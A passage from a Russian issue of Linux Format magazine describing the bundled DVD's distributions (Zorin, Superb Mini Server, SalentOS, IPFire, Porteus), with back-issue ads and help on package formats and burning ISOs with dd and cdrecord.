выбором для тех, кто только знакомится с операционной системой� 
SMS и IPFire — сетевые дистрибутивы, хоть и играют здесь разные 
роли� Финальным аккордом нашего диска стали SalentOS и Porteus�

К
огда мы знакомили Гэри, нашего выпускающего редактора, с Fedo
ra 18, он недоуменно уставился на практиче ски пустой экран Gnome 
Shell. «И что теперь делать?» – спросил он. Резонно! Будь это Unity, 

он был бы столь же обескуражен. Учиться работать в Linux непросто, и ста
рые среды рабочего стола отнюдь не исправляют ситуацию. А вот Zorin со
здан для борь бы с этим. Его рабочий стол можно перекроить под внешность 
предварительной версии 8 Windows или OS X. Это здорово упрощает людям 
жизнь – а освоившись, они смогут опробовать и другие дистрибутивы. 

Б
ывают моменты, когда просто нужно, чтобы сервер работал, без воз
ни со всякими файлами config для каждого сервиса. Как раз для та ких 
случаев мы при бе ре га ем SMS, или Superb Mini Server. Просто загру

зите DVD, выберите SMS – и все! Возможно, бо лее всего он подходит для ро
ли файлового сервера, с FTP, webFTP, Samba и TorrentFlux (сетевым клиентом 
torrent). А заодно он поставляется с WebERP, Squirrel Mail и CUPS для людей 
с разными потребностями. Вы можете запустить SMS и на виртуальной ма
шине, если хотите держать серверы, не открывая весь свой компьютер Сети.

Linux для вин ду зятников

Zorin
Делает именно то, что обещано

SMS
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Важ но

ВНИМАНИЕ!
Прежде чем вставить DVD в дисковод, пожалуйста, 
убедитесь, что вы прочитали, поняли и согласи-
лись с нижеследующим�

Диски Linux Format DVD тщательно проверяются на предмет 
отсутствия на них всех известных вирусов. Тем не менее, мы ре
комендуем вам всегда проверять любые новые программы на
дежным и современным антивирусом. 

Хотя процесс отбора, тестирования и установки программ 
на DVD проводится со всем тщанием, редакция Linux Format 
не несет никакой ответственности за повреждение и/или утра
ту данных или системы, могущее произойти при использовании 
данного диска, программ или данных на нем. Настоятельно ре
комендуем вам создавать своевременные и надежные резер
вные копии всех важных файлов.

Чтобы узнать об условиях использования, просим вас про
честь лицензии.

Бракованные диски
В маловероятном случае обнаружения бракованного диска 
Linux Format, просим связаться с нашей группой поддержки 
по адресу disks@linuxformat.ru, для получения содействия.

Э
то малоизвестный дистрибутив 
с малоизвестной средой рабоче
го стола, потомуто он и здесь. 

Мы уже писали о Razorqt (LXF164), а те
перь представляем его вам в форме дист
рибутива Live. Razorqt основан на той же 
среде Qt, что и KDE, но урезан до просто
го рабочего стола, и это альтернатива мно
жеству легковесных дистрибутивов GTK. 
Он менее распространен, чем прочие, 
и по этой причине его может пока не быть 
в репозиториях вашей системы. 

Б
рандмауэры бы ва ют весьма слож
ны. Вы, вероятно, знаете, что Linux 
использует брандмауэры на уров

не ядра и что это делается при помощи 
iptables, но достаточно ли вы уверены 
в себе, чтобы настроить его правильно? 
Если только вы не являетесь сетевым ин
женером Linux, ответ, вероятно, будет 
«кхе». Наличие брандмауэра на отдель
ном компьютере имеет много преиму
ществ перед стандартным брандмауэром 

Linux. Это означает, что у вас может быть 
отдельный брандмауэр для сети; вовто
рых, специальные дистрибутивы брандма
уэра предоставляют простые интерфейсы 
для их настройки и управления; втретьих, 
можно поменять дистрибутив на основ
ном компьютере, не беспокоясь о перена
стройке сети. Установка IPFire на старый 
компьютер – отличный способ обеспе
чить защиту вашей сети на высшем уров
не, не задействуя дорогого оборудования. 

L
inux ладит с самым разным оборудованием, и дистрибу
тивы Live обычно «просто работают» (если BIOS настроен 
верно); но иногда пред на зна че ны и для дол го сроч ной рабо

ты на удаленном носителе, вот как Porteus. Он приложен как файл 
ISO, для прожига на CD, и включает установщик с USBбрелка. 
Скопируйте файлы с ISO на брелок и запустите Porteus-installer-
for-Windows�exe или Porteus-installer-for-Linux�com.

Острый, как Razor

SalentOS

Брандмауэр – это просто

IPFire
Linux в су пер-портативной форме

Porteus

> SalentOS: это Qt, но без всяких лишних 
прибамбасов�

> Если возникнут 
проблемы, 
подробную 
информацию ищите 
на www�porteus�org�

> Красотой 
он не блещет, зато 
прекрасно защитит 
вашу сеть�

По ми мо этих за ме ча тель ных ди ст ри бу  ти вов, 
мы вклю чи ли в со став дис ка весь код из ру ко водств, 
все про грам мы из Hotpicks и все про грам мы, упо
мя ну тые в жур на ле, ря дом с ко то ры ми вы ви ди те 
зна чок На дис ке. Ес ли вы вста ви те DVD в при вод, 
по умол ча нию долж на от крыт ся стра ни ца HTML, 
но ес ли ва ши на строй ки безо пас но сти не по зво ля ют 
это го, пе рей ди те в index�html, что бы от крыть для 
се бя все 4,4 ГБ пре лес тей Linux.

Что бы по зна ко мить ся с ди ст ри бу ти ва ми, уста но
ви те диск в дис ко вод, за тем пе ре за гру зи те ком пь ю
тер. По сле это го за гру зит ся эк ран, где вы смо же те 
вы брать то, что вам нуж но. Ес ли ваш ком пь ю тер 
за гру жа ет ся в обыч ном ре жи ме, а не с дис ка, вам 
при дет ся из менить на строй ки BIOS на за груз ку 
с DVD. Для тех, ко му за хо чет ся пе ренести со дер жи
мое дис ка на уст рой ст во USB, мы вклю чи ли удоб
ный скрипт. Что бы уз нать, как им поль зо вать ся, 

за гляните в dvd2usb�html на дис ке. Циф ро вые 
подпис чи ки при желании мо гут применить dd для 
пе ре ме щения за гру жен но го ISO на уст рой ст во USB:
sudo dd if=lxf170.iso of=/dev/sdX

при необ хо ди мо сти вклю чив путь к за гру жен но му 
ISO, где X из ме ня ет ся со глас но ва ше му уст рой ст ву 
USB. Это унич то жит все дан ные на дис ке� Если вы 
уста но вите не тот диск, он мо жет сте реть все дан-
ные с ва ше го же ст ко го дис ка� 



Пропустили номер?

» 
Мир свободного ПО богат и разнообразен, а потому далеко не все можно вместить в рамки  

одной статьи. Linux Format обходит эту проблему, публикуя серии статей по самым актуальным 

вопросам. Но что делать, если вы пойма ли интересующий вас материал на середине?  

Обратитесь в «Линукс центр» по адресу www.linuxcenter.ru и закажите желаемый номер журнала!  

Он доставляется как в печатной, так и в электронной форме, поэтому с момента открытия браузера 

и до получения нужного вам выпуска LXF может пройти не более нескольких минут!

Прямо сейчас для заказа доступны следующие номера:

Ну, а если вы хотите быть уверенными, что не пропустите ни один номер журнала –  

оформите подписку! Помните, что все подписавшиеся на печатную версию журнала  

через www.linuxcenter.ru или shop.linuxformat.ru получают электронную версию в подарок!

Подписывайтесь на журнал на www.linuxformat.ru/subscribe/

shop.linuxformat.ru

Телефоны отдела подписки: Санкт-Петербург (812) 309-06-86, Москва (499) 271-49-54
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Март 2013

» Linux vs Windows 8 По
бе ди те ля не при дет ся 
уга ды вать до трех раз

» Фо то ре дак то ры При
ри суй те друзь ям усы 
и/или со бе ри те фот ки 
в аль бом

» System on a Chip Це лый ком пь ю тер  
на од ном кри стал ле

» Вос кре ше ние из мерт вых Ста рый друг  
на но вом же ле зе

Печатная версия: shop.linuxformat.ru/lxf_168/
PDF-версия: shop.linuxformat.ru/elxf_168/

LXF169
Ап рель 2013

» Linux — что это? По зна
ва тель ная ви ви сек ция

» ОС для Raspberry Pi 
Дань дис тро стро ев цев 
ком пь ю те рума лют ке

» WebRTC И брау зер 
с брау зе ром го во рит... в ре аль ном вре ме ни

» Лей ся, пес ня Управ ля ем фо но те кой из ко манд
ной стро ки

Печатная версия: shop.linuxformat.ru/lxf_169/
PDF-версия: shop.linuxformat.ru/elxf_169/

LXFDVD: Fedora 18 в вер сии Linux Format, 5 ди ст
ри бу ти вов для RPi и еще 3 ди ст ри бу ти ва, 10 книг 
о Linux (на анг лий ском язы ке), го ря чие но вин ки 
и про чее...

LXFDVD: Linux Mint 14, Fedora 18 и еще 2 дистрибу
тивa, 10 книг о Linux (на анг лий ском язы ке), го ря чие 
но вин ки и про чее...

LXFDVD: Fuduntu, Netrunner, GhostBSD и Mint 
аж в че ты рех ва риа ци ях, 10 книг о Linux (на анг лий
ском язы ке), го ря чие но вин ки и про чее...

LXF167
Фев раль 2013

» Mint Но вый фа
во рит на скач ках 
ди ст ри бу ти вов

» Офис ные ком плек ты 
Воо ру же ние для планк
то на и не толь ко

» BTRFS Оче ред ная фай ло вая сис те ма бу ду ще го
» Взлом web-при ло же ний Не ко ры сти ра ди, 

а в на уч ных це лях

Печатная версия: shop.linuxformat.ru/lxf_167/
PDF-версия: shop.linuxformat.ru/elxf_167/

Специальное предложение
Купите подборку журнала!
К нам в редакцию периодически приходят письма с вопросами,  
где можно купить предыдущие выпуски LXF. Если вы тоже  
этим озадачены, то в интернетмагазине «ГНУ/Линуксцентра» 
продолжается продажа журналов за 2011 год. Вы можете приобрести 
как отдельные номера изданий, так и подписки на 6 или 12 месяцев.
Спешите — журналов осталось не так уж много!

250 руб� 250 руб�

6 месяцев

1230 руб�

12 месяцев

2280 руб�

250 руб�
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 Xfce 4�10 и Enlightenm
ent 11 »

 LibreOffice 3�6 и openJDK
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Информация о диске

Что-то потеряли?
Часто случается, что новые про
граммы зависят от других програм
мных продуктов, которые могут 
не входить в текущую версию вашего 
дистрибутива Linux.

Мы стараемся предоставить вам 
как можно больше важных вспомогатель
ных файлов. В большин стве случаев, последние 
версии библиотек и другие пакеты мы включаем 
в каталог «Essentials [Главное]» на прилагаемом 
диске. Поэтому, если в вашей системе возникли про
блемы с зависимостями, первым делом следует 
заглянуть именно туда.

Форматы пакетов
Мы стараемся включать как можно больше раз
личных типов установочных пакетов: RPM, Deb или 
любых других. Просим вас принять во внимание, что 
мы ограничены свободным пространством и доступ
ными двоичными выпусками программ. По возможно
сти, мы будем включать исходные тексты для любого 
пакета, чтобы вы могли собрать его самостоятельно.

Документация
На диске вы сможете найти всю необходимую инфор
мацию о том, как устанавливать и использовать 
некоторые программы. Пожалуйста, не забывайте, 
что большинство программ поставляются вместе 
со своей документацией, поэтому дополнительные 
материалы и файлы находятся в соответствующих 
директориях.

Что это за файлы?
Если вы новичок в Linux, вас может смутить изобилие 
различных файлов и расширений. Так как мы стара
емся собрать как можно больше вариантов пакетов 
для обеспечения совместимости, в одном каталоге 
часто находятся два или три файла для различных 
версий Linux и различных архитектур, исходные тек
сты и откомпилированные пакеты. Чтобы определить, 
какой именно файл вам нужен, необходимо обратить 
внимание на его имя или расширение:
» имя_программы-1�0�1�i386�rpm – вероятно, 
это двоичный пакет RPM, предназначенный 
для работы на системах x86;
» имя_программы-1�0�1�i386�deb – такой же пакет, 
но уже для Debian;
» имя_программы-1�0�1�tar�gz – обычно это 
исходный код;
» имя_программы-1�0�1�tgz – тот же файл, что и выше 
этажом по списку: “tgz” – это сокра щение от “tar.gz”;
» имя_программы-1�0�1�tar�bz2 – тот же файл, 
но сжатый bzip2 вместо обычного gzip;
» имя_программы-1�0�1�src�rpm – также исходный 
код, но поставляемый как RPMпакет для упрощения 
процесса установки;
» имя_программы-1�0�1�i386�FC4�RPM – двоичный 
пакет RPM для x86, предназначенный специально 
для операционной системы Fedora Core 4;
» имя_программы-1�0�1�ppc�Suse9�rpm – двоичный 
пакет RPM, предназначенный специально 
для операционной системы SUSE 9.x PPC;
» имя_программы-devel-1�0�1�i386�rpm – версия 
для разработчиков.

Если диск не читается���
Это маловероятно, но если все же прилагаемый 
к журналу диск поврежден, пожалуйста, свяжитесь 
с нашей службой поддержки по электронной почте: 
disks@linuxformat.ru
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Создание 
установочных дисков 
при помощи cdrecord

Самый быстрый способ записать ISOобраз 
на чистую матрицу – это через cdrecord. Для 
всех перечисленных ниже действий потре
буются права root. Cначала определите путь 
к вашему устройству для записи дисков. Набе
рите следующую команду:
cdrecord scanbus

После этого на экране терминала должен 
отобразиться список устройств, подключен
ных к вашей системе. SCSIадрес каждого 
устройства представляет собой три числа 
в левой колонке – например, 0,3,0. Теперь 
вы можете с легкостью записать образ 
на диск:
cdrecord dev=0,3,0 v /путь к образу/image.iso

Чтобы упростить дальнейшее использование 
cdrecord, сохраните некоторые настройки 
в файле /etc/default/cdrecord. Добавьте по од  
ной строке для каждого устройства записи 
(вероятно, в вашей системе присутствует 
всего одно такое устройство):
Plextor= 0,3,0 12 16M

Первое слово в этой строке – метка; затем 
после адреса SCSIустройства вы должны 
указать скорость и размер буфера. Теперь 
можете заменить SCSIадрес в командной 
строке на выбранную вами метку. Все будет 
еще проще, если вы добавите следующее:
CDR_DEVICE=Plextor

Все, что вам теперь нужно для записи ISO
образа – это набрать команду
cdrecord v /path/to/image.iso

Если вы не из числа любителей команд ной 
строки, в таком случае вам придет на помощь 
утилита gcombust. Запустите ее изпод root 
и выберите вкладку Burn и ISO 9660 Image 
в верхней части окна. Введите путь к образу, 
который вы хотите записать на диск, и смело 
нажимайте на Combust! Пока ваш образ 
пишется на диск, можете выпить чашечку 
кофе.

Другая ОС?
Вам не обязательно использовать Linux  
для записи компактдиска. Все необходимые 
файлы уже включены в ISOобраз. Программы 
вроде cdrecord просто переносят данные 
на чистую матрицу. Если у вас нет устройства 
для записи дисков, можно найти того, у кого 
оно есть, и записать диск на его компьютере 
с Windows, Mac OS X, AmigaOS или любой дру
гой ОС.

Нет устройства  
для записи дисков?
А что если у вас нет устройства, с помощью 
которого можно было бы записать образ 
на диск? Вы знаете когонибудь с таким 
устройством? Вам не обязательно использо
вать Linux для записи дисков: подойдет любая 
операционная система, способная распознать 
пишущий привод (см. выше).

Некоторые дистрибутивы умеют монтиро
вать образы дисков и выполнять сетевую уста
новку или даже установку с раздела жест кого 
диска. Конкретные методы, конечно, зависят 
от дистрибутива. За дополнительной инфор
мацией обращайтесь на webсайт разработ
чика дистрибутива.



 полоса (210 × 297 мм) 165 200 руб.

Ѕ полосы горизонтально (197 × 144 мм) 88 500 руб.

Ѕ полосы вертикально (102 × 278) 88 500 руб.

ј полосы вертикально (98 × 138 мм) 53 100 руб.

Фотоблок (44 × 113 мм) 15 000 руб.

Как разместить рекламу
в разделе Classifieds?

Цены указаны с учетом НДС

Тел.: +7 812 309 06 86
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Главное в мире Linux

Со дер жа ние бу ду щих вы пус ков мо жет ме нять ся – вдруг нам при дет ся уле пе ты вать от ил лю ми на тов...

Про бу ем 
50 ди ст ри бу ти вов
Нас ок ру жа ет мир бес конеч но го раз но об ра зия ОС, 
и мы ото бра ли 50 штук непре взой ден но го ка че  ст ва. 
Го товь те ин стал ля то ры...

Пе ре кур для GIMP
Для тех, кто при сло ве GIMP по ежи ва ет ся,  
мы на шли аль тер на ти вы – они пе ре кро ют  
все ва ши по треб но сти в ре дак ти ро вании фо то.

Ardour 3.0
По сле мно го летних тру дов поя ви лась вер сия  
сре ды раз ра бот ки ау дио, ко то рая все из менит!

Про грам ми ро вание 
Мы за пуска ем две но вые се рии учебников –  
лис та ем Lisp и ро ем ся в Ruby on Rails.
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